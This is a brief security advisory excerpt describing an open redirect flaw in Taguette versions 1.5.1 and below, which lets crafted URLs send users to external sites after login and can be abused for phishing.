In versions 1.5.1 and below, attackers can craft malicious URLs that redirect users to arbitrary external websites after authentication.

This can be exploited for phishing attacks where victims believe they are interacting with a trusted Taguette instance but are redirected to a malicious site designed to steal credentials or deliver malware.
